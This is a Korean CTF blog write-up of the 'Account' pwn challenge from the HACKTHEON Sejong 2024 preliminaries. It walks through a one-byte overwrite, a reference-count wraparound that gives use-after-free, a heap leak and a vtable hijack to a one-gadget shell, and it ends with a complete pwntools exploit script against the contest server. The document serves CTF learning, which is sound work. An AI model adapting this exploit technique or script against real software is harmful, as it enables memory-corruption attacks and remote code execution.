2024 HACKTHEON SEJONG Preliminaries) Write-up #2

2024. 5. 16. 02:26CTF

목차

01) PWN) Findiff

02) PWN) Account


PWN) Account (987 pts) - 7 solves

Account

헤더의 바이트를 통해 메뉴를 실행하는 바이트통신 기반의 문제였다.

이런 문제들 같은 경우 함수이름이나 변수를 가려서 기능을 추측하기 어렵게 하면 분석+취약점 찾기까지 시간이 더 소요된다.

이와 유사한 VM문제 풀이 경험이 없진 않지만 능숙할정도도 아니었기 때문에 시간이 좀 걸렸던 것 같다.

메뉴 갯수가 8개밖에 안됐고, 코드도 간단한 편이고 에러출력을 통해 힌트도 줬기때문에 분석이 아주 어렵지는 않았다.

 

구조체가 여러개 있고 구조체 안에 또 구조체가 있는 프로그램에서 uaf를 통해 heap exploit을 해야하는 문제를 만들고 풀어본 경험이 있는데 이 때 했던 연구가 문제 해결에 도움이 많이 되었다.

이 문제도 유사한 형태의 문제인데 더 어려운 문제였다.

자체 제작된 heap과 malloc을 사용했기 때문에 기법이라던가 기술은 그다지 필요하지 않은 문제였다.

 

heap을 잘 모르는 사람도 uaf의 끝판왕 문제를 풀 수 있는 괜찮은 문제라고 생각되어, 이러한 유형을 처음 보는 사람들을 위해 프로그램의 구조와 풀이를 초보자도 이해할 수 있도록 최대한 자세히 기록하려고 노력했다.

 

함수별 이름과 기능 정리는 아래와 같다.

(실수로 i64파일도 삭제해버려서 다시 복기할겸 가볍게 정리해뒀다.)

func, val naming

menu
[index(byte)]: [func_name] / [Arg_info(arg_number, arg_name)]
\x00: make account / len >= 2 : type, data
\x01: remove account / len = 1 / account_id
\x02: modify account / len >= 3 / type, account_id , length , data
\x10: make group / X
\x11: remove group / len = 1 / group_id
\x12: account to group / len = 2 : group_id, account_id
\x13: (modify)remove account from group / len = 2 : group_id, account_id
\x14: group list / len = 1 : groupid

 

취약점을 찾기 위해 함수들을 자세히 분석하던 중 account type에 대한 의문이 생겼다.

관련해서 테스트를 해보던 중 make_account로 \x01타입의 account를 연달아 3개 생성한 후 modify_account를 통해 \x01번 account의 type을 \x00으로 수정하면 \x02번의 첫번째 바이트, 딱 한바이트가 \x00로 덮이는 것을 확인할 수 있었다.

 

이때까지만 해도 '에이 설마'라는 생각이었는데, 더 분석해보니 함수들이 단순해서 이거 말곤 없겠다라는 생각이 들었다. 딱 한바이트를 덮는 것으로 뭘 할 수 있을까를 생각해봤다.

 

우선 이 문제는 자체구현된 heap과 malloc을 사용한다.

따라서 이 글에서 말하는 heap은 mmap으로 매핑되는 주소를 가리킨다.

로컬 환경에서 확인했을 때는 ld 중간에 매핑되었다.

(libc주소와 멀리 떨어져있지 않은 주소지만 glibc 버전에 따라 매핑되는 위치가 조금씩 달라지기 때문에 heap주소를 통해 문제서버의 libc를 바로 구할 수는 없다. 나는 로컬에서 구한 libc 주소에서 0x1000만큼 위아래로 내려보면서 문제서버의 libc를 구했다.)

 

일반적인 경우,

1) account가 할당될 때 먼저 0x18만큼이 할당된다.

      +0x00부터 첫바이트는 type, 두번째바이트는 속해있는 group 개수+1 (default 1)이다.

      +0x08에는 입력한 data가 들어가는 주소(+0x18)가 들어있다.

      +0x10는 비어있다.

      여기까지 할당 후 다시 +0x18위치에 data길이만큼 할당된다.

   (8byte의 데이터를 입력했을 때를 기준으로) +0x20에 널바이트가 삽입된다. 즉 다음 구조체는 +0x21주소부터 할당된다.

\x00번 account를 group두개에 넣었을 때 두번째 바이트가 0x03이 됨

2) group이 할당될 때 먼저 0x18만큼이 할당된다.

      +0x00에는 해당 group에 속한 account의 개수가 저장된다.

      +0x08에는 속해있는 account들의 주소 포인터배열이 저장된 주소(0x18)가 들어있다.

      +0x10에는 vtable의 주소가 들어있다. (codebase+0x6010)

      여기까지 할당 후 다시 +0x18위치에 account들의 주소가 저장된다.

   vtable에는 group과 관련된 함수주소들이 들어있다. (ida에서 code+0x6010 참고)

   함수 주소를 꺼내올 때는 메뉴입력때 같이 입력되는 group 번호에 해당되는 주소+0x10을 기준으로 불러온다.

group 구조체 - \x01번 account를 하나 넣었을 때의 메모리
vtable (codebase+0x6010)

3) remove_account 함수의 경우 (--두번째 바이트)가 0일 때 free를 시켜준다. (속한 group이 있으면 삭제 불가능)

free 조건

4) remove_group 함수의 경우 첫번째 바이트가 0일 때만 free를 시켜준다. (속해있는 account가 있으면 삭제 불가능)

   free된 주소는 재사용된다.

5) remove_account_from_group 함수에서는 선택된 account를 group에서 지우고 group의 첫번째 바이트를 하나 감소시킨 후 해당 account의 두번째 바이트를 하나 감소시켜준다.

   이 때, account의 두번째 바이트를 하나 감소시켜주는 함수가 remove_account의 sub_1390함수와 동일한 함수이다.

   -> 정상적인 흐름이라면 group에 속해있는 account를 지울 때는 account의 두번째 바이트가 2이상일 수 밖에 없기 때문에 account가 free되지 않는다.

5) group_list함수의 경우 group내의 account정보들을 출력시켜준다.

 

account의 두번째 바이트는 char로, 0x0~0xff까지 저장된다. 0xff+1을 하면 0x100이 아닌 0x00이 된다.

따라서 0xff+2로 0x01이 저장되도록한다면 remove_account_from_group을 통해 free를 시킬 수 있다. free된 주소는 account 포인터배열에는 남아있게된다. (uaf)

 

group의 최대 갯수는 0x10개이므로 한바이트를 \x00으로 덮는 취약점을 이용하여 remove_group과 make_group을 0x100번 반복하면 group에 속해있는 account의 두번째바이트가 0x01이 되도록 만들 수 있다.

 

메모리로 확인해보자,

반복문을 한번 수행했을 때의 account(codebase+0x6050)와 group(codebase+0x60D0)을 확인한 결과이다.

한 account당 0x21만큼을 차지한다. 동적할당되는 주소들이 담겨져있고,

\x00번 account가 0x~00

\x01번 account가 0x~21

\x02번 account가 0x~42에 해당한다.

생성되었다가 삭제되었던 \x00번 group은 0x~63에 해당한다.

이 부분의 메모리를 참조해보면 넣었던 \x01번 account(0x~21)가 그대로 남아있지만 첫바이트가 0x00으로 덮혀 group 포인터 배열에서는 삭제된 것을 확인할 수 있다.

account / group
removed group

반복문이 종료된 후의 메모리이다. \x00번 group에 속한 \x01번 account의 두번째 바이트(0x~22)가 0x01이므로 프로그램상 group에 속해있지 않은 것으로 판단되어 아예 free 시킬 수 있다.

for문 종료 직후

remove_account_from_group을 통해 \x00번 group의 \x01번 account(0x~21)를 지우면 해당 주소가 free되지만 account 배열에는 주소가 남아있게 된다. make_group으로 group하나를 더 생성하면 \x01번에 위치한 account주소와 같은 곳을 가리키는 주소가 \x01번 group으로 배정되는 것을 확인할 수 있다.

remove_account_from_group 이후 make_group 실행

여기까지가 uaf를 발생시키는 흐름의 완성이다.

group을 출력하면 account의 내용을 출력시켜주기 때문에 leak은 어렵지 않다.

\x01번 account를 \x01번 group에 넣고 \x01번 group을 출력시키면 heap주소를 leak할 수 있다.

 

exploit을 위해서는 rip를 덮는 과정이 필요한데 보호기법이 모두 걸려있으므로 함수 got를 바로 덮는 것은 불가능하다.

따라서 group의 +0x10 위치에 저장되는 함수 vtable을 이용하였다.

 

\x03번 account(heap+0x17b)를 생성하면서 내용으로 dummy 8bytes + (heap+0x31)을 입력하였다. heap+0x31은 \x01번 group에서 vtable이 저장되는 위치이다.

heap+0x31
\x03번 account

\x00번과 \x01번 account(+0x00과 +0x21)를 삭제하고,

\x00번에 account를 생성하면 heap+0x00 에 저장된다. 위치조정을 위해 dummy 17bytes를 입력한다. 이 때 dummy가 저장되는 위치는 heap+0x18이 아닌 heap+0x21로, \x01번 group 주소와 같다.

\x01번에 account를 생성하면 이미 재할당된 +0x21가 아닌 heap+0x1a2 에 저장된다.

data로는 dummy 16bytes + onegadget주소를 입력하였다.

(보통은 system함수 사용을 선호하지만 인자를 자유롭게 컨트롤하기 어려우므로 조건에 맞는 원가젯을 사용하였다.)

사용한 onegadget

modify_account를 통해 \x00번 account를 dummy 16bytes + (heap+0x1ba)로 수정하였다.

heap+0x1ba는 \x01번 account의 data가 저장되는 주소이다.

최종 메모리

위 과정을 정리하면, \x01번 group에서 vtable주소이자 \x01번 account의 data인 heap+0x1ba이 새로운(조작된) vtable로 사용된다. vtable+0x10에 account_to_group함수의 주소가 저장되는데 이 주소가 원가젯을 가리키도록 만들어서 메뉴 \x12번 실행 시 쉘을 획득하도록했다.

 

포인터들이 모두 딱 들어맞도록 하기 위해서는 한바이트의 오차도 있으면 안되므로 정확한 계산이 필요하다.

#!/usr/bin/python3
# MIsutgaRU

from pwn import *

#s = process("./account")
s = remote("hto2024-nlb-fa01ec5dc40a5322.elb.ap-northeast-2.amazonaws.com", 5002)

#context.log_level = 'debug'

def make_account(type, data):
    s.send(b"\x00" + type + data)
    s.recv(1)

def remove_account(account_id):
    s.send(b"\x01" + account_id )
    s.recv(1)

def modify_account(type, account_id, data):
    s.send(b"\x02" + type + account_id + data)
    s.recv(1)

def make_group():
    s.send(b"\x10")
    s.recv(1)

def remove_group(group_id):
    s.send(b"\x11" + group_id)
    s.recv(1)

def account_to_group(group_id, account_id):
    s.send(b"\x12" + group_id +  account_id)
    s.recv(1)

def remove_account_from_group(group_id, account_id):
    s.send(b"\x13" + group_id + account_id)
    s.recv(1)

def list_group(group_id):
    s.send(b"\x14" + group_id )

make_account(b"\x01", b"B"*0x8) # account_id = \x00
make_account(b"\x01", b"A"*0x8) # account_id = \x01
make_account(b"\x01", b"B"*0x8) # account_id = \x02

g = log.progress('account_num: ')
for i in range(0, 0x100):
    g.status(str(i))
    make_group()
    sleep(0.01)
    account_to_group(b"\x00", b"\x01")
    sleep(0.01)
    if i != 0xff:
        modify_account(b"\x02", b"\x00", b"B"*8)
        s.recvuntil(b"BBBBB\x00")
        remove_group(b"\x00")
        sleep(0.01)
g.success()

remove_account_from_group(b"\x00", b"\x01")
sleep(0.03)
make_group()
sleep(0.03)
account_to_group(b"\x01", b"\x01")
sleep(0.03)
list_group(b"\x01")
sleep(0.03)
heap_base = u64(s.recvuntil(b"\x7f").ljust(8, b"\x00")) - 0x21
log.info("heap_base: " + str(hex(heap_base)))

make_account(b"\x01", b"B"*0x8 + p64(heap_base+0x31))
sleep(0.03)
remove_account(b"\x01")
sleep(0.03)
remove_account(b"\x00")
sleep(0.05)
make_account(b"\x01", b"B"*0x17)
sleep(0.05)

make_account(b"\x01", b"BBBBBBBB"*2+ p64(heap_base - 0x264000 + 0xebc81)) # onegadget
sleep(0.05)
modify_account(b"\x00", b"\x00", b"B"*0x10 + p64(heap_base + 0x1ba))
sleep(0.05)

s.send(b"\x12\x01\x00")
#account_to_group(b"\x01", b"\x00")
sleep(0.5)
s.interactive()

 

17s_0InY_l_By7ES...

 

flag를 보니 문제 제작자가 의도한 바가 맞았던 것 같다.

 

꽤 어려운 문제였는데 생각보다 솔브수가 많았다.

(개인적으로는 이 문제가 defcon의 libprce3 문제보다 어려웠다.)

대회동안 로컬에서는 풀었지만 프로세스 타임아웃으로 리모트에서 쉘을 획득하는데 실패했다.

recv()를 사용하여 코드 실행 시간을 줄이기만 하면 됐었기때문에 findiff 문제에서 이상한 삽질만 안했어도 대회시간 내로 풀 수 있었을 것 같다.

대회 종료 한시간정도 후에 리모트에서 쉘을 획득할 수 있었다.


여러모로 정말 아쉬웠다. 올해는 4학년 막학기로 대학생대회 참가는 마지막 대회가 됐다.

가장 잘 해야하는 위치에 있었는데 제 역할을 다하지 못한 것 같아 속상했다.

그래도 앞으로 더 나아가기 위해 성찰을 하자면, 항상 문제풀이 속도가 발목을 잡았던 것 같다.

하루동안만 진행되는 대회들에서 간발의 차로 대회 종료 후 문제를 푼 경험이 꽤 있었다.

이번을 계기로 더 반성하고 실수를 줄이는데에 집중하고싶다.